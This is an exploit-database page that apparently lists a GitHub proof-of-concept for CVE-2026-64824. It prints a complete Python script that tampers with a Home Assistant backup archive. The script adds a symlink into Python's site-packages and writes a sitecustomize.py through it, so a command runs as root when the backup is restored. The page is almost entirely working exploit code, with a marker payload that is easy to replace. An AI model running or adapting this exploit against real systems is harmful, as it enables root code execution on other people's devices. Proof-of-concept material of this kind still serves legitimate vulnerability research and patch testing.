Exploit databaseDownload repository ZIP
GH-e58c06b63231571313d2430de3443538
boreas37/cve-2026-64824-poc
Sources for CVE-2026-64824
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
boreas37/cve-2026-64824-pocRevision 49d12ad584db
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
inject_backup.py
Python · 2,439 bytes#!/usr/bin/env python3
"""CVE-2026-64824 — symlink injection into a real HA backup (Pi, Python 3.14.2)."""
import gzip
import io
import sys
import tarfile
import time
PAYLOAD = b"import os, subprocess\nsubprocess.Popen(['sh', '-c', 'id > /tmp/HA_PWNED_64824'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n"
def inject(src_backup: str, out_path: str, link_target: str = "/usr/local/lib/python3.14/site-packages/"):
now = time.time()
with tarfile.open(src_backup, "r") as ot:
inner = gzip.decompress(ot.extractfile("homeassistant.tar.gz").read())
new_inner_buf = io.BytesIO()
with tarfile.open(fileobj=io.BytesIO(inner), mode="r") as it:
with tarfile.open(fileobj=new_inner_buf, mode="w") as nit:
for m in it.getmembers():
f = it.extractfile(m)
data = f.read() if f else None
nit.addfile(m, io.BytesIO(data) if data is not None else None)
# symlink: data/evil_link -> site-packages (new name, no conflict)
sym = tarfile.TarInfo("data/evil_link")
sym.type = tarfile.SYMTYPE
sym.linkname = link_target
sym.mtime = now
sym.mode = 0o777
nit.addfile(sym)
# sitecustomize.py — written through the symlink (as root)
fi = tarfile.TarInfo("data/evil_link/sitecustomize.py")
fi.size = len(PAYLOAD)
fi.mtime = now
fi.mode = 0o644
nit.addfile(fi, io.BytesIO(PAYLOAD))
new_inner = new_inner_buf.getvalue()
new_gz = gzip.compress(new_inner)
with tarfile.open(out_path, "w") as notar:
for m in ot.getmembers():
if m.name == "homeassistant.tar.gz":
continue
f = ot.extractfile(m)
data = f.read() if f else None
notar.addfile(m, io.BytesIO(data) if data is not None else None)
hi = tarfile.TarInfo("homeassistant.tar.gz")
hi.size = len(new_gz)
hi.mtime = now
notar.addfile(hi, io.BytesIO(new_gz))
print(f"[+] Injection complete: {out_path}")
print(f"[+] data/evil_link -> {link_target}")
if __name__ == "__main__":
inject(sys.argv[1], sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else "/usr/local/lib/python3.14/site-packages/")